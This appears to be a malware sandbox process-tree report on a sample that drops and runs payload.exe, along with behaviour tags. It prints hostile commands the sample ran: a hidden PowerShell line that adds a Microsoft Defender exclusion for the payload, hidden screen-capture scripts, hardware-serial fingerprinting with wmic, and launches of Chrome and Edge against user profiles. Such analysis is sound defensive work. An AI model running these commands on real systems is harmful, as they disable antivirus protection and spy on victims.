                                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\wusetup_0b7b25.png\"); $g.Dispose(); $bmp.Dispose()""
                                2⤵
                                • Hide Artifacts: Hidden Window
                                • Suspicious use of WriteProcessMemory
                                PID:4524
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\wusetup_0b7b25.png\"); $g.Dispose(); $bmp.Dispose()"
                                  3⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:3424
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
                                2⤵
                                • Executes a command shell one-liner
                                • Suspicious use of WriteProcessMemory
                                PID:3468
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic baseboard get serialnumber /value
                                  3⤵
                                    PID:2056
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
                                  2⤵
                                  • Executes a command shell one-liner
                                  • Suspicious use of WriteProcessMemory
                                  PID:4764
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic diskdrive get serialnumber /value
                                    3⤵
                                      PID:1328
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
                                    2⤵
                                    • Executes a command shell one-liner
                                    • Suspicious use of WriteProcessMemory
                                    PID:1808
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic baseboard get serialnumber /value
                                      3⤵
                                        PID:4460
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
                                      2⤵
                                      • Executes a command shell one-liner
                                      • Suspicious use of WriteProcessMemory
                                      PID:2496
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic diskdrive get serialnumber /value
                                        3⤵
                                          PID:4108
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Installer.exe'""
                                        2⤵
                                        • Executes a command shell one-liner
                                        • Suspicious use of WriteProcessMemory
                                        PID:1360
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Installer.exe'"
                                          3⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:1164
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe""
                                        2⤵
                                        • Executes a command shell one-liner
                                        • Suspicious use of WriteProcessMemory
                                        PID:2880
                                        • C:\Windows\system32\reg.exe
                                          reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe"
                                          3⤵
                                            PID:2324
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14'""
                                          2⤵
                                          • Executes a command shell one-liner
                                          PID:2264
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14'"
                                            3⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:3456
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14""
                                          2⤵
                                          • Executes a command shell one-liner
                                          PID:5060
                                          • C:\Windows\system32\reg.exe
                                            reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14"
                                            3⤵
                                              PID:1064
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\AppData\data'""
                                            2⤵
                                            • Executes a command shell one-liner
                                            PID:4120
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\AppData\data'"
                                              3⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:4552
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\data""
                                            2⤵
                                            • Executes a command shell one-liner
                                            PID:5084
                                            • C:\Windows\system32\reg.exe
                                              reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\data"
                                              3⤵
                                                PID:2112
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe'""
                                              2⤵
                                              • Executes a command shell one-liner
                                              PID:2844
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe'"
                                                3⤵
                                                • Command and Scripting Interpreter: PowerShell
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:4048
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe""
                                              2⤵
                                              • Executes a command shell one-liner
                                              PID:2332
                                              • C:\Windows\system32\reg.exe
                                                reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe"
                                                3⤵
                                                  PID:4044
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe' -ErrorAction SilentlyContinue""
                                                2⤵
                                                • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
                                                • Hide Artifacts: Hidden Window
                                                • Hide Artifacts: Ignore Process Interrupts
                                                PID:2228
                                                • C:\Windows\System32\Conhost.exe
                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                  3⤵
                                                    PID:4460
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe' -ErrorAction SilentlyContinue"
                                                    3⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:4136
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\dpinst_d22d1d.png\"); $g.Dispose(); $bmp.Dispose()""
                                                  2⤵
                                                  • Hide Artifacts: Hidden Window
                                                  PID:2352
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\dpinst_d22d1d.png\"); $g.Dispose(); $bmp.Dispose()"
                                                    3⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:2660
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
                                                  2⤵
                                                  • Executes a command shell one-liner
                                                  PID:4376
                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                    wmic baseboard get serialnumber /value
                                                    3⤵
                                                      PID:4036
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
                                                    2⤵
                                                    • Executes a command shell one-liner
                                                    PID:3952
                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                      wmic diskdrive get serialnumber /value
                                                      3⤵
                                                        PID:3140
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
                                                      2⤵
                                                      • Executes a command shell one-liner
                                                      PID:3288
                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                        wmic baseboard get serialnumber /value
                                                        3⤵
                                                          PID:3016
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
                                                        2⤵
                                                        • Executes a command shell one-liner
                                                        PID:2416
                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                          wmic diskdrive get serialnumber /value
                                                          3⤵
                                                            PID:812
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\wusetup_17ac10.png\"); $g.Dispose(); $bmp.Dispose()""
                                                          2⤵
                                                          • Hide Artifacts: Hidden Window
                                                          PID:3360
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\wusetup_17ac10.png\"); $g.Dispose(); $bmp.Dispose()"
                                                            3⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            PID:476
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
                                                          2⤵
                                                          • Executes a command shell one-liner
                                                          PID:3008
                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                            wmic baseboard get serialnumber /value
                                                            3⤵
                                                              PID:3424
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
                                                            2⤵
                                                            • Executes a command shell one-liner
                                                            PID:3552
                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                              wmic diskdrive get serialnumber /value
                                                              3⤵
                                                                PID:1192
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber /value"
                                                              2⤵
                                                              • Executes a command shell one-liner
                                                              PID:572
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic baseboard get serialnumber /value
                                                                3⤵
                                                                  PID:2440
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber /value"
                                                                2⤵
                                                                • Executes a command shell one-liner
                                                                PID:4784
                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                  wmic diskdrive get serialnumber /value
                                                                  3⤵
                                                                    PID:3568
                                                                • C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe
                                                                  C:\Users\Admin\AppData\Local\Temp\AppData\data\mslxczghed14\payload.exe
                                                                  2⤵
                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                  • Executes dropped EXE
                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                  • Checks processor information in registry
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:4960
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --disable-gpu about:blank
                                                                    3⤵
                                                                    • Enumerates system info in registry
                                                                    • Modifies data under HKEY_USERS
                                                                    • Modifies registry class
                                                                    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                    • Suspicious use of FindShellTrayWindow
                                                                    PID:1652
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ffd5b0ac728,0x7ffd5b0ac734,0x7ffd5b0ac740
                                                                      4⤵
                                                                        PID:4836
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1704,i,2647908556164535556,1594709343813814870,262144 --field-trial-handle=1980,i,16351157045939064295,4482777510085460501,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1976 /prefetch:2
                                                                        4⤵
                                                                          PID:2040
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2156,i,6750045832265855790,17853836199557359834,524288 --field-trial-handle=1980,i,16351157045939064295,4482777510085460501,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2160 /prefetch:11
                                                                          4⤵
                                                                          • System Time Discovery
                                                                          PID:4572
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2276,i,3659880526296696340,4259142747272113688,524288 --field-trial-handle=1980,i,16351157045939064295,4482777510085460501,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2696 /prefetch:13
                                                                          4⤵
                                                                            PID:3204
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3088,i,10118225395197605221,2784922132034839930,2097152 --field-trial-handle=1980,i,16351157045939064295,4482777510085460501,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3100 /prefetch:1
                                                                            4⤵
                                                                              PID:4988
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3104,i,11001566566505676222,6022903642279956688,2097152 --field-trial-handle=1980,i,16351157045939064295,4482777510085460501,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3124 /prefetch:1
                                                                              4⤵
                                                                                PID:1240
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4168,i,5418256115605431292,12217372487866356164,2097152 --field-trial-handle=1980,i,16351157045939064295,4482777510085460501,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4180 /prefetch:9
                                                                                4⤵
                                                                                  PID:3920
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5172,i,13573625604799181824,8865799116627365590,524288 --field-trial-handle=1980,i,16351157045939064295,4482777510085460501,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5176 /prefetch:14
                                                                                  4⤵
                                                                                    PID:2716
                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --disable-gpu about:blank
                                                                                  3⤵
                                                                                  • Enumerates system info in registry
                                                                                  • Modifies data under HKEY_USERS
                                                                                  • Modifies registry class
                                                                                  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                  PID:5940
                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x23c,0x240,0x244,0x238,0x2f0,0x7ffd56b9c188,0x7ffd56b9c194,0x7ffd56b9c1a0
                                                                                    4⤵
                                                                                      PID:5968
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1808,i,11174317859763014449,17539565372978431703,524288 --field-trial-handle=2104,i,7493400787774336464,16078687223461824618,262144 --variations-seed-version --mojo-platform-channel-handle=2132 /prefetch:11
                                                                                      4⤵
                                                                                      • System Time Discovery
                                                                                      PID:4104
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=1568,i,2579530941251135215,12757892744532608930,262144 --field-trial-handle=2104,i,7493400787774336464,16078687223461824618,262144 --variations-seed-version --mojo-platform-channel-handle=2100 /prefetch:2
                                                                                      4⤵
                                                                                        PID:5152
                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2232,i,1498937253336966612,14634782368953916214,524288 --field-trial-handle=2104,i,7493400787774336464,16078687223461824618,262144 --variations-seed-version --mojo-platform-channel-handle=2344 /prefetch:13
                                                                                        4⤵
                                                                                          PID:4492
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3400,i,18027455603268701764,951871538873724673,2097152 --field-trial-handle=2104,i,7493400787774336464,16078687223461824618,262144 --variations-seed-version --mojo-platform-channel-handle=3476 /prefetch:1
                                                                                          4⤵
                                                                                            PID:3932
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3404,i,11766530134726344372,2928023342495129947,2097152 --field-trial-handle=2104,i,7493400787774336464,16078687223461824618,262144 --variations-seed-version --mojo-platform-channel-handle=3480 /prefetch:1
                                                                                            4⤵
                                                                                              PID:5348
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4000,i,6179560882133373973,15293060399195411133,2097152 --field-trial-handle=2104,i,7493400787774336464,16078687223461824618,262144 --variations-seed-version --mojo-platform-channel-handle=4036 /prefetch:1
                                                                                              4⤵
                                                                                                PID:5324
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4020,i,3021131462168633787,9716748553333881779,2097152 --field-trial-handle=2104,i,7493400787774336464,16078687223461824618,262144 --variations-seed-version --mojo-platform-channel-handle=4040 /prefetch:9
                                                                                                4⤵
                                                                                                  PID:5428
                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4044,i,6782842316922999980,10378090364246522812,2097152 --field-trial-handle=2104,i,7493400787774336464,16078687223461824618,262144 --variations-seed-version --mojo-platform-channel-handle=4192 /prefetch:1
                                                                                                  4⤵
                                                                                                    PID:5436
                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4108,i,10584194990149629145,8777502615998694050,2097152 --field-trial-handle=2104,i,7493400787774336464,16078687223461824618,262144 --variations-seed-version --mojo-platform-channel-handle=4196 /prefetch:9
                                                                                                    4⤵
                                                                                                      PID:5356
                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3548,i,12647628038758304822,14539762802290586586,524288 --field-trial-handle=2104,i,7493400787774336464,16078687223461824618,262144 --variations-seed-version --mojo-platform-channel-handle=3560 /prefetch:14
                                                                                                      4⤵
                                                                                                        PID:4204
                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3496,i,1125299979671055433,1258903591610401429,524288 --field-trial-handle=2104,i,7493400787774336464,16078687223461824618,262144 --variations-seed-version --mojo-platform-channel-handle=3548 /prefetch:14
                                                                                                        4⤵
                                                                                                          PID:420
                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5372,i,4832828137024340010,9602164316580717959,524288 --field-trial-handle=2104,i,7493400787774336464,16078687223461824618,262144 --variations-seed-version --mojo-platform-channel-handle=3560 /prefetch:14
                                                                                                          4⤵
                                                                                                            PID:3588
